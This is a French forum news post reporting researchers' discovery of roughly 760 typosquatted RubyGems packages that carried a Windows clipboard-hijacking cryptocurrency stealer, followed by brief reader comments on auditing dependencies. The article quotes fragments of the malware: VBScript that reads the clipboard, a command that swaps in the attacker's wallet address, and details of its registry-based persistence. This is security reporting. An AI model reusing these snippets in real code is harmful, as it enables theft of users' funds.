IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

  1. #1
    Chroniqueur Actualités

    Homme Profil pro
    Administrateur de base de données
    Inscrit en
    Mars 2013
    Messages
    8 458
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Canada

    Informations professionnelles :
    Activité : Administrateur de base de données

    Informations forums :
    Inscription : Mars 2013
    Messages : 8 458
    Points : 197 853
    Points
    197 853
    Par défaut Des hackers ont infecté plus de 700 packages utilisés par les développeurs d'un langage de programmation
    Des hackers ont infecté plus de 700 packages utilisés par les développeurs d'un langage de programmation,
    pour tenter de dérober des bitcoins

    De nos jours, les organisations reconnaissent l'importance de l'aspect sécurité de leurs systèmes. Elles s'efforcent d'adopter les meilleures pratiques de sécurité dans le but d'éliminer les angles morts dans la chaîne d'attaque qui auraient augmenté le risque d'incident de sécurité. Cela rend la tâche plus difficile aux acteurs malveillants, car attaquer directement ces organisations est moins susceptible de donner des résultats.

    Pour contourner ces mesures, les acteurs malveillants sont toujours à la recherche de nouveaux vecteurs d'attaque. L’un d’eux, appelé attaque de la chaîne d'approvisionnement des logiciels, devient de plus en plus populaire. Ces attaques menacent indirectement les organisations en ciblant les fournisseurs tiers qui leur fournissent des logiciels ou des services. Étant donné que ces fournisseurs sont généralement considérés comme des éditeurs de confiance, les organisations ont tendance à passer moins de temps à vérifier que les packages qu'elles consomment sont effectivement exempts de logiciels malveillants. Il y a une confiance implicite entre le fournisseur de logiciels et ses clients dans ce cas, et c'est de cette confiance que les acteurs malveillants veulent profiter.

    Les référentiels open source entrent également dans cette catégorie. Ils sont particulièrement intéressants, car ils sont utilisés par des millions de développeurs à travers le monde, dont certains travaillent dans des organisations qui utilisent des technologies open source pour accélérer le développement de leurs propres logiciels commerciaux. Empaquetés dans des bibliothèques, ces composants open source représentent les blocs de construction d'application de base. En fonction de la complexité du logiciel qu'une organisation construit, de nombreuses bibliothèques tierces de ce type finissent par être utilisées dans le produit final.

    Le développement de logiciels modernes est centré sur l'idée que les composants tiers devraient être réutilisables et facilement accessibles. Ces composants sont ainsi organisés et hébergés dans des mécanismes de livraison de logiciels appelés référentiels de packages. Étant étroitement intégrés aux langages de programmation, les référentiels facilitent la consommation et la gestion des composants tiers. Par conséquent, il est devenu aussi facile d'inclure une autre dépendance de projet que de cliquer sur un bouton ou d'exécuter une simple commande dans l'environnement de développement.

    Mais le simple fait de cliquer sur un bouton ou d'exécuter une simple commande peut parfois être dangereux, car les acteurs malveillants partagent également un intérêt pour cette commodité. Il n'est pas surprenant d'apprendre que les référentiels de packages sont de plus en plus ciblés. Il existe plusieurs façons de mener les attaques: en compromettant les comptes de développeur ou leurs environnements build, et en faisant du typosquattage avec les noms de packages.

    Le typosquattage est une forme de cybersquattage se fondant principalement sur les fautes de frappe et d'orthographe commises par l'internaute au moment de saisir une adresse web dans un navigateur. Le typosquattage est particulièrement intéressant. En utilisant ce type d'attaque, les acteurs malveillants nomment intentionnellement les packages malveillants pour qu'ils ressemblent le plus possible aux populaires (par exemple, rspec-mokcs au lieu de rspec-mocks), dans l'espoir qu'un utilisateur non vigilant tape le nom et installe involontairement le package malveillant.

    Le cas de Ruby

    C’est dans ce contexte qu’une équipe d’une entreprise spécialisée en cybersécurité a découvert que 760 packages du langage populaire Ruby contenaient du code malveillant pour voler des bitcoins.

    ReversingLabs, basé à Cambridge, dans le Massachusetts, a dévoilé ses conclusions dans un billet de blog. Selon lui, en février, des hackers ont placé des fichiers malveillants dans un gestionnaire de packages appelé RubyGems, qui est généralement utilisé pour télécharger et partager des améliorations sur des logiciels existants. Selon les propres statistiques sur le site, le référentiel contient environ 158 000 packages (appelés gemmes) avec près de 49 milliards de téléchargements au total. De manière générale, un fichier gem est un Tape ARchive (TAR) avec la structure de base comme suit:

    Nom : structure.png
Affichages : 63173
Taille : 23,7 Ko

    Le répertoire bin contient les binaires gem (s'ils existent), le répertoire lib contient le code du gem et le répertoire test contient les tests. Rakefile est utilisé par rake, un programme de type Make implémenté dans Ruby, pour automatiser les tests et générer du code. Le fichier Gemspec contient des métadonnées de base sur la gemme (comme l'auteur, la version, la description), mais il peut également inclure des informations supplémentaires sur les extensions qui seront utiles un peu plus tard.

    Les hackers tentaient d'inciter les développeurs à télécharger des logiciels malveillants en utilisant le typosquattage.

    Une fois à l'intérieur, le logiciel malveillant a exécuté un script malveillant qui démarre une boucle infinie pour capturer les données du presse-papiers d'un utilisateur, dans le but de rediriger toutes les transactions de cryptomonnaies potentielles vers leur adresse.

    « Le script lui-même est assez simple. Tout d'abord, il crée un nouveau fichier VBScript avec la boucle malveillante principale sur le chemin d'accès « % PROGRAMDATA% \ Microsoft Essentials \ Software Essentials.vbs ». En tant que mécanisme de persistance, il crée ensuite une nouvelle clé de Registre d'exécution automatique « HCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run Microsoft Software Essentials ». Grâce à cela, le malware garantit qu'il est exécuté à chaque démarrage ou redémarrage du système.

    « Lorsque le script malveillant "Software Essentials.vbs" est exécuté, il démarre une boucle infinie où il capture les données du presse-papiers de l'utilisateur avec les lignes de code suivantes :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    Set objHTML = CreateObject("htmlfile")
    text = objHTML.ParentWindow.ClipboardData.GetData("text")
    « Le script vérifie ensuite si les données du presse-papiers correspondent au format d'une adresse de portefeuille de cryptomonnaie. Si c'est le cas, il remplace l'adresse par une adresse contrôlée par l'attaquant «1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc» dans une fenêtre masquée à l'aide de la commande suivante:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    WScript.Shell run "C:\Windows\System32\cmd.exe /c echo 1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc | clip", 0
    « Avec cela, l'acteur malveillant tente de rediriger toutes les transactions potentielles de cryptomonnaie vers son adresse de portefeuille ».

    Nom : fonctionnement.png
Affichages : 5927
Taille : 41,2 Ko

    Mais malgré les meilleurs efforts des hackers, ReversingLabs a constaté qu'ils n'avaient pas réussi à obtenir de Bitcoin. La raison ? La voici : « Le candidat idéal pour succomber à ce type d'attaque de chaîne d'approvisionnement "spray-and-pray" est un développeur Ruby dont l'environnement de choix est un système Windows qui est également périodiquement utilisé pour effectuer des transactions Bitcoin. Une race rare en effet », écrivent les chercheurs.

    L'entreprise de sécurité a contacté RubyGems deux jours après avoir découvert l'attaque, après quoi les fichiers infectés ont été rapidement supprimés.

    RubyGems compte 158 000 packages avec près de 49 milliards de téléchargements au total - et semble être une cible populaire pour les pirates informatiques qui veulent voler des cryptomonnaies. L'année dernière, les chercheurs ont trouvé un logiciel de cryptojacking, qui utilise l'ordinateur d'un hôte pour extraire de la cryptomonnaie, dans 11 bibliothèques Ruby.

    Bien que les entreprises de sécurité découvrent souvent de telles attaques, les pirates essaieront toujours de trouver de nouvelles façons d'accéder à la cryptomonnaie des utilisateurs.

    Source : rapport des chercheurs

    Et vous ?

    Procédez-vous à des analyses lorsque vous utilisez des logiciels tiers au sein de votre entreprise ou pour vos projets privés ? Dans quelle mesure ?
    Contribuez au club : Corrections, suggestions, critiques, ... : Contactez le service news et Rédigez des actualités

  2. #2
    Membre extrêmement actif
    Homme Profil pro
    Développeur informatique
    Inscrit en
    Octobre 2017
    Messages
    1 789
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Suisse

    Informations professionnelles :
    Activité : Développeur informatique

    Informations forums :
    Inscription : Octobre 2017
    Messages : 1 789
    Points : 5 752
    Points
    5 752
    Par défaut
    Procédez-vous à des analyses lorsque vous utilisez des logiciels tiers au sein de votre entreprise ou pour vos projets privés ? Dans quelle mesure ?
    Aïe! La question qu'il ne fallait pas poser!

    Et surtout la réponse que personne n'ose dire et avouer...

    Pratiquement personne n'analyse le code d'une librairie, d'un composant ou d'un logiciel tiers que l'on intègre à son projet... Soit par paresse, soit par manque de compétence, soit parce que son patron n'est pas d'accord de payer pour une tâche qu'il considère inutile.

    Quand personne ne prend la peine de lire les conditions générales avec de cliquer sur "j'accepte" qui osera dire qu'il passe en revue la totalité du code d'un composant open source avant de l'intégrer à son développement?

  3. #3
    Membre régulier
    Profil pro
    Inscrit en
    Août 2006
    Messages
    79
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Août 2006
    Messages : 79
    Points : 124
    Points
    124
    Par défaut
    je ne parle meme pas du respect des licences...
    mix de lib a licences contraire.
    lib GPL modifié non reversé
    lib a usage non commercial fondu dans un logiciel commercial...
    lib surdimensionner pour l'usage prévue
    syndrome "cargot" a tous les étages.......
    un grand n'importe quoi saupoudrer de m'enfoutisme.

  4. #4
    Membre extrêmement actif
    Avatar de Madmac
    Homme Profil pro
    Ingénieur développement logiciels
    Inscrit en
    Juin 2004
    Messages
    1 685
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Canada

    Informations professionnelles :
    Activité : Ingénieur développement logiciels
    Secteur : Alimentation

    Informations forums :
    Inscription : Juin 2004
    Messages : 1 685
    Points : 1 376
    Points
    1 376
    Billets dans le blog
    7
    Par défaut
    Morale de l'histoire: Ne jamais utliser des installateurs de tiers parties. Allez toujours à la source officielle.

Discussions similaires

  1. Réponses: 4
    Dernier message: 15/08/2019, 11h54
  2. Réponses: 0
    Dernier message: 16/04/2019, 09h42
  3. Réponses: 1
    Dernier message: 27/11/2018, 11h48
  4. Réponses: 80
    Dernier message: 24/03/2017, 09h56
  5. Réponses: 0
    Dernier message: 07/02/2012, 17h44

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo